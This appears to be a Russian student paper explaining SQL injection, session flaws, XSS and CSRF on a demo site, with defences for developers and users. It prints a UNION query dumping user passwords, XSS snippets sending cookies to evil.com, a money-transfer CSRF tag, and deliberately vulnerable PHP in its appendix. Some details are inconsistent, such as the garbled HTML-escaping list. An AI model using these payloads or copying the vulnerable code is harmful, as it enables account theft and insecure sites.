Введение
Интернет сегодня прочно вошёл в нашу жизнь. При помощи Интернета мы можем находить и публиковать информацию, общаться с друзьями, совершать покупки и многое другое. При этом мы оставляем там множество важных данных.
Однако при использовании Интернета мы можем столкнуться с различного рода опасностями. Но обычно в работах на тему безопасности в Интернете говорится либо о том, как избегать угроз при общении, либо о том, как не занести вредоносную программу себе на компьютер.
В этой работе мы намерены рассмотреть другую опасность: уязвимости в самих Интернет-сайтах. Эта опасность заключается в том, что злоумышленники, используя их, могут выкрасть личные данные или нанести иной вред пользователям.
Цель работы: рассмотреть, как минимизировать ущерб от уязвимостей.
Задачи:
Рассмотреть и продемонстрировать наиболее часто используемые уязвимости;
Найти способы избавиться от них при разработке сайтов;
Определить, как пользователь может защититься от этих уязвимостей.
Актуальность работы: уязвимости при их использовании злоумышленниками могут нанести значительный вред пользователям, поэтому необходимо знать, как их избежать.
Глава 1. Виды уязвимостей
Уязвимостью называется недостаток в компьютерной системе, используя который можно нарушить её целостность и вызвать неправильную работу.
Сами по себе уязвимости опасности не представляют. Опасность представляет именно их использование. Дело в том, что если их использовать правильно, то можно заставить программу выполнить те действия, которые она выполнять не должна. Например, предоставить обычному пользователю имена и пароли всех остальных пользователей или потратить деньги с чужого счёта.
Уязвимости могут быть присущи и Интернет-сайтам. Причём, из-за доступности сайтов всем, их использование злоумышленниками значительно проще, а эффект от них сильнее.
Существует множество видов уязвимостей и методов их использования. В данной работы мы рассмотрим наиболее простые, но вместе с тем и наиболее опасные из них.
Для демонстрации уязвимостей нами был составлен сайт http://example.com, где эти уязвимости имеются. Исходный код всех страниц этого сайта представлен в Приложении 1.
§1.1. SQL-инъекция
Данные в сайтах чаще всего хранятся в структурах под названием базы данных. Для того, чтобы их можно было внести или извлечь, составляются запросы на специальном языке SQL (сокращённо от Structured Query Language – структурированный язык запросов). Краткий свод инструкций SQL приведён в Приложении 2.
Качественно запрограммированный сайт должен предоставлять пользователю доступ только к тем данным, к которым это разрешено. Но если была допущена ошибка, то может стать возможным получение доступа и к тем частям, для которых этого происходить не должно.
Рассмотрим следующий код на PHP из страницы example.com/article.php:
$cat = mysql_query("SELECT title, time, text FROM news WHERE id = ".$_GET['id']);
if(!$cat) {
exit("<h1>Данная новость отсутствует.</h1>");
} else {
echo "<h1>".mysql_result($cat, 0, 'title')."</h1>";
echo "<p>".mysql_result($cat, 0, 'time')."</p>";
echo "<p>".mysql_result($cat, 0, 'text')."</p>";
}
Этот код выводит на страницу новость с номером, переданным в качестве параметра id в адресе страницы. Для получения данных новости используется запрос:
SELECT title, time, text FROM news WHERE id = <id>
Так, если мы введём в браузер адрес http://example.com/article.php?id=2, то запрос к базе данных примет следующую форму:
SELECT * FROM news WHERE id = 5
В результате будут выбраны сведения, относящиеся к новости за номером 5.
Но в этом коде имеется уязвимость. Пусть мы использовали следующий адрес: http://example.com/article.php?id=5+OR+1=1
Тогда будет выполнен следующий запрос (+ в адресе заменяется на пробел):
SELECT * FROM news WHERE id = 5 OR 1=1
А поскольку всегда, будут выбраны данные о всех новостях. Таким образом, мы заставили страницу сделать то, на что она была не запрограммирована – вывести все новости сразу. В этом и заключается уязвимость, а её применение называется внедрением SQL-кода или SQL-инъекцией.
Аналогично, некий преступник, желая получить имена и пароли пользователей, хранящиеся в той же базе данных в таблице users, может составить следующую адресную строку:
http://example.com/article.php?id=-1+UNION+SELECT+name+AS+title,+id,+password+AS+text+FROM+users
В результате мы получим следующий запрос:
SELECT * FROM news WHERE id = -1 UNION SELECT name AS title, id, password AS text FROM users
Тогда в результаты запроса попадут не только новость с номером (коих нет), но и имена и пароли всех пользователей, которые затем злоумышленник сможет прочитать как «новости».
В данном случае ошибка, приведшая к появлению уязвимости, заключается в том, что отсутствует проверка корректности параметра id.
§1.2. Некорректная реализация аутентификации
Аутентификацией называется процедура проверки подлинности чего-либо. В данной работе мы будем подразумевать проверку подлинности пользователя. От правильной реализации аутентификации зависит безопасность всей системы.
Пусть сайт bank.com выдаёт пользователю номер сессии, и он передаётся в адресе сайта таким образом: https://bank.com/info.php?account=123456&session=123.
Ошибкой здесь является именно передача номера сессии в адресе. Если злоумышленник сможет подобрать номер текущей сессии пользователя, то ему будет достаточно передать его в качестве параметра session в адресе, чтобы получить доступ от его имени.
Аналогично, если при закрытии страницы браузер не прекращает сессию, то злоумышленник может сесть за тот же компьютер сразу после пользователя и войти на сайт под его именем, даже не зная пароля.
§1.3. Межсайтовый скриптинг
Часто современные сайты позволяют добавлять информацию самим пользователям. Сюда можно отнести форумы, блоги, социальные сети, да и на других сайтах может предоставляться возможность писать комментарии.
Однако возможность вносить изменения в содержимое у всех может представлять опасность при неудачной реализации. Одна из наиболее частых уязвимостей, возникающих на подобных сайтах, называется межсайтовым скриптингом(сокр. XSS). На нашем сайте эта уязвимость демонстрируется на странице http://example.com/comments.php.
Её использование заключается во внедрении скрипта с сайта злоумышленника на атакуемый сайт и принуждении к исполнению. Поскольку язык HTML позволяет вставку скриптов в любом месте страницы, для этого достаточно записать в новых комментарии или записи искомый скрипт. Например, следующий комментарий:
Прекрасная работа!
<script type="application/javascript">
alert("XSS");
</script>
- при отсутствии обработки комментариев приведёт к тому, что каждый раз, когда любой пользователь зайдёт на указанную страницу, этот скрипт будет исполняться, что выразится в появлении всплывающего окна с текстом «XSS»:
При этом тег script позволяет и внедрить скрипт с постороннего сайта так, что он будет выполняться как легитимный скрипт:
Прекрасная работа!
<script src="http://evil.com/stealdata.js"></script>
Также для похищения данных может использоваться следующий вариант атаки, называемый XSS в DOM-модели:
<script type="application/javascript">
document.location = "http://evil.com/stealcookie.cgi?" + document.cookie;
</script>
Данный код передаёт некоторому приложению злоумышленника данные сессии пользователя, которыми он впоследствии может воспользоваться.
Рассмотренный нами тип межсайтового скриптинга называется хранимым. Для сайтов, не позволяющих написание комментариев или записей, применяется отражённый межсайтовый скриптинг.
Рассмотрим страницу http://example.com/search.php, которой в качестве параметра q передаётся строка для поиска. Так, если мы используем адрес http://example.com/search.php?q=кошки, то будет осуществляться поиск по слову «кошки».
При этом, данная страница выводит сверху ключевое слово для поиска, не обрабатывая его:
echo "<h2>Результаты поиска для «".$_GET["q"]."»:</h2>";
Для указанного выше запроса в HTML-страницу будет выведено:
<h2>Результаты поиска для «кошки»:</h2>
Теперь представим, что некий злоумышленник обратился по адресу http://example.com/search.php?q=кошки<script+type="application/javascript">alert("XSS");</script>. Тогда будет выведено:
<h2>Результаты поиска для «кошки<script type="application/javascript">alert("XSS");</script>»:</h2>
Теперь злоумышленник внедрил скрипт, который будет выводить всплывающее окно тогда, когда эта ссылка будет использоваться. Аналогично хранимому XSS, он может и внедрить скрипт с другого сайта, просто передав его в качестве параметра: http://example.com/search.php?q=кошки<script+src="http://evil.com/stealdata.js"></script>
§1.4. Межсайтовая подделка запроса
В некоторых случаях пользователь остаётся аутентифицирован на сайте даже после того, как покинул его. Как было показано выше, это уже даёт возможность атаки.
Однако злоумышленник может через другой сайт через уже рассмотренный межсайтовый скриптинг отправить от имени пользователя запрос, например, на перевод денег на счёт злоумышленника. Такая атака называется межсайтовой подделкой запроса.
Например, на уже рассмотренной странице comments.php злоумышленник может написать комментарий следующего содержания:
Посмотрите на этих милых котиков:
<img src="http://bank.com/withdraw?receiver=123456789&amount=100000"/>
Теперь при загрузке страницы браузер, пытаясь получить изображение, пройдёт по адресу http://bank.com/withdraw?receiver=123456789&amount=100000, что, если пользователь ещё аутентифицирован, приведёт к переводу денег на другой счёт, причём он об этом не узнает.
Для того, чтобы избежать подобной атаки, сайт должен, прежде всего, запрашивать подтверждение пользователя способом, который злоумышленник подделать не сможет. Также можно связать с каждой сессией секретный ключ для важных операций и передавать его в теле запроса (например, с помощью скрытого поля).
В последнее время межсайтовая подделка запроса используется нечасто, т.к. многие сайты реализовали защиту от данной уязвимости.
Глава 2. Защита от уязвимостей
§2.1. Защита со стороны разработчиков
Во всех случаях уязвимости являются следствием ошибок, допущенных во время разработки системы (в данном случае, сайта).
Во многих случаях уязвимости возникают из-за того, что не проводится должная обработка данных, получаемых извне (будь то номер запрашиваемой новости или текст комментария).
В некоторых случаях для того, чтобы избежать уязвимостей (особенно, XSS), достаточно заменить символы <, >, &, ", ', имеющие специальное значение в HTML, на безопасные последовательности <, >, &, ", ' соответственно. Эта процедура называется экранированием спецсимволов.
Такие языки, как PHP, созданные для веб-разработки, имеют специальные функции для этого, например, htmlspecialchars.
Так, в рассмотренной нами странице search.php следует изменить код вывода результатов поиска следующим образом:
echo "<h1>Результаты поиска для «".htmlspecialchars($_GET["q"])."»:</h1>";
Но в примере с комментариями этот метод неприменим, т.к. необходимо разрешить использование форматирования в комментариях. В таком случае необходимо перед выводом комментария искать в нём теги script, которые и используются для внедрения скриптов, и блокировать их обработку, например, так:
$text = str_replace("<script", "<pre", $text);
echo "<p>".$text."</p>";
Однако скрипт можно внедрить, задав его в качестве адреса изображения или ссылки, что осложняет обработку.
Поэтому лучшим способом является экранирование спецсимволов и использование BB-кодов вместо тегов HTML вкупе с запретом на вставку изображений и ссылок. Тогда код вывода комментария примет следующий вид:
$text = htmlspecialchars($text);
$text = str_replace("[b]", "<b>", $text);
$text = str_replace("[/b]", "</b>", $text);
$text = str_replace("[i]", "<i>", $text);
$text = str_replace("[/i]", "</i>", $text);
$text = str_replace("[u]", "<u>", $text);
$text = str_replace("[/u]", "</u>", $text);
$text = str_replace("[title]", "<h3>", $text);
$text = str_replace("[/title]", "</h3>", $text);
$text = str_replace("[ol]", "<ol>", $text);
$text = str_replace("[/ol]", "</ol>", $text);
$text = str_replace("[ul]", "<ul>", $text);
$text = str_replace("[/ul]", "</ul>", $text);
$text = str_replace("[li]", "<li>", $text);
$text = str_replace("[/li]", "</li>", $text);
echo "<p>".$text."</p>";
Такжеизбежатьуязвимостейпозволяетпроверкавводимыхданныхнадопустимость. Так, внедрение SQL-кода было возможным осуществить из-за того, что не проверялось то, является ли номер новости в запросе числом. Тогда, если произвести проверку следующим образом:
if(!is_numeric($_GET["id"])) {
exit("<h1>Данная новость отсутствует</h1>");
} else {
$cat = mysql_query("SELECT title, time, text FROM news WHERE id = ".$_GET['id']);
if(!$cat) {
exit("<h1>Данная новость отсутствует.</h1>");
} else {
echo "<h1>".mysql_result($cat, 0, 'title')."</h1>";
echo "<p>".mysql_result($cat, 0, 'time')."</p>";
echo "<p>".mysql_result($cat, 0, 'text')."</p>";
}
}
И, наконец, нужно завершать сессию пользователя немедленно после того, как он закончит использование сайта и не передавать информацию о сессии в адресе.
§2.2. Защита со стороны пользователя
Что для защиты от уязвимостей может сделать пользователь, которому их использование и причиняет наибольший вред.
Во-первых, как можно было видеть выше, адреса, рассчитанные на использование уязвимостей, часто выглядят необычно. Отсюда можно сделать вывод, что не следует переходить по подозрительным ссылкам. Может быть полезным использовать только ссылки с главной страницы сайта, который вы хотите посетить, используя поиск по нему.
Помимо этого, современные браузеры часто предоставляют программные средства, отслеживающие попытки использования уязвимостей на сайтах и блокирующие атаки. Но для их использования следует регулярно обновлять их. Также созданы расширения для браузеров с той же целью защиты от уязвимостей и атак, такие как NoScript для Mozilla Firefox.
Такие уязвимости, как межсайтовая подделка запроса, основываются на отсутствии подтверждения для действий. Поэтому следует всегда настраивать подтверждение действий пользователя на сайтах, если имеется такая возможность.
И, наконец, следует доверять важные данные только крупным известным сайтам, т.к. вероятность наличия уязвимостей в них и того, что злоумышленники используют их до обнаружения, обычно меньше.
Заключение
В работе мы рассмотрели наиболее простые в использовании (и демонстрации) уязвимости. Однако это не мешает им оставаться распространёнными и опасными.
Уязвимость – следствие ошибки при разработке приложения или сайта. Для их устранения необходимо контролировать корректность вводимых извне данных.
Для того, чтобы минимизировать вред, наносимый уязвимостями, необходимо избегать необычно длинных ссылок, использовать актуальную версию браузера и расширения, противодействующие атакам и доверять свои данные только надёжным сайтам.
Список источников
OWASP Top 10 – 2017 (https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf, англ.)
OWASP Top 10 – 2013 (https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP%20Top%2010%20-%202013.pdf, англ.)
The Cross-Site Scripting FAQ – CGISecurity.com (https://www.cgisecurity.com/xss-faq.html, англ.)
SQL Injection – The Web Application Security Consortium (http://projects.webappsec.org/w/page/13246963/SQL%20Injection, англ.)
Внедрение SQL-кода – Википедия (https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_SQL-%D0%BA%D0%BE%D0%B4%D0%B0)
Межсайтовый скриптинг – Википедия (https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3)
Межсайтовая подделка запросов – Википедия (https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0)
Приложение 1.
Исходные коды страниц демонстрационного сайта
article.php
<!DOCTYPE html>
<html>
<head>
<title>Новости</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
</head>
<body>
<?php
$dbcnx = @mysql_connect("localhost:3306", "root", "");
if(!$dbcnx) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
if(!@mysql_select_db('sitedata', $dbcnx)) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
$cat = mysql_query("SELECT title, time, text FROM news WHERE id = ".$_GET['id']);
if(!$cat) {
exit("<h1>Данная новость отсутствует.</h1>");
} else {
echo "<h1>".mysql_result($cat, 0, 'title')."</h1>";
echo "<p>".mysql_result($cat, 0, 'time')."</p>";
echo "<p>".mysql_result($cat, 0, 'text')."</p>";
}
?>
</body>
</html>
comments.php
<!DOCTYPE html>
<html>
<head>
<title>Комментарии</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
</head>
<body>
<?php
if(!empty($_POST)){
if(empty($_POST["user"]) || empty($_POST["comment"])){
exit("Необходимые поля не заполнены");
} else {
$dbcnx = @mysql_connect("localhost:3306", "root", "");
if(!$dbcnx) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
if(!@mysql_select_db('sitedata', $dbcnx)) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
$cat = mysql_query("INSERT INTO comments VALUES (NULL, '".$_POST["user"]."', ".time().", '".$_POST["comment"]."')");
if(!$cat) {
echo "Отправка комментария не удалась: ".mysql_error();
}
}
}
?>
<?php
$dbcnx = @mysql_connect("localhost:3306", "root", "");
if(!$dbcnx) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
if(!@mysql_select_db('sitedata', $dbcnx)) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
$cat = mysql_query("SELECT user, time, text FROM comments ORDER BY time DESC");
if(!$cat) {
exit("<h1>Комментарии недоступны.</h1>");
} else {
echo "<h1>Комментарии</h1>";
while(list($user, $time, $text) = mysql_fetch_row($cat)) {
echo "<p><b>".$user."</b></p>";
echo "<p>".$time."</p>";
echo "<p>".$text."</p>";
echo "<hr/>";
}
}
?>
<form action="comments.php" method="POST">
Автор: <input type="text" name="user"/><br/>
<textarea name="comment" cols=100 rows=10></textarea><br/>
<input type="submit" value="Отправить"/>
</form>
</body>
</html>
search.php
<!DOCTYPE html>
<html>
<head>
<title>Поиск по новостям</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
</head>
<body>
<form method="GET">
<input type="text" name="q" /><input type="submit" value="Поиск" />
</form>
<?php
if(!empty($_GET)) {
if(!empty($_GET["q"])) {
$dbcnx = @mysql_connect("localhost:3306", "root", "");
if(!$dbcnx) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
if(!@mysql_select_db('sitedata', $dbcnx)) {
exit("<h1>Извините, сервис недоступен.</h1>");
}
$cat = mysql_query("SELECT id, title, time, text FROM news WHERE text LIKE '%".$_GET["q"]."%'");
if(!$cat) {
echo "Отправка комментария не удалась: ".mysql_error();
}
echo "<h2>Результаты поиска для «".$_GET["q"]."»:</h2><br/>";
while(list($id, $title, $time, $text) = mysql_fetch_row($cat)) {
echo "<h2>".$title."</h2><br/>";
echo $time."<br/>";
echo str_pad($text, 200)."...<br/>";
echo "<a href='http://localhost/article.php?id=".$id."'>Читатьдалее...</a><hr/>";
}
}
}
?>
</body>
</html>
Приложение 2.
Список инструкций SQL
Инструкция |
Назначение |
CREATE DATABASE name |
Создать базу данных с названием name |
SHOW DATABASES |
Вывести список баз данных |
DROP DATABASE name |
Удалить базу данных name |
USE name |
Выбрать базу данных name |
SHOW TABLES |
Вывести список таблиц выбранной БД |
CREATE TABLE name ( ... ) |
Создать таблицу с названием nameи перечисленными в скобках полями |
ALTER TABLE name ADD field |
Добавить в таблицу name поле field |
ALTER TABLE name CHANGE old, new |
Заменить в таблице name поле old на поле new |
ALTER TABLE name DROP field |
Удалить из таблицы name поле field |
DROP TABLE name |
Удалить таблицу name |
INSERT INTO name VALUES (...) |
Добавить в таблицу name строку со значениями в скобках |
DELETE FROM name WHERE cond |
Удалить из таблицы name строки, удовлетворяющие условию cond |
TRUNCATE TABLE name |
Очистить таблицу name |
UPDATE name SET field=new |
Установить для поля field в таблице name значения new |
REPLACE INTO name VALUES (...) |
Заменить значения в строке таблицы name на значения в скобках |
SELECT fields FROM name |
Выбрать из таблицы name значения полей fields |
…WHERE cond |
...удовлетворяющие условию cond |
…ORDER BY field |
...сортируя их по возрастанию поля field |
…ORDER BY field DESC |
...сортируя их по убыванию поля field |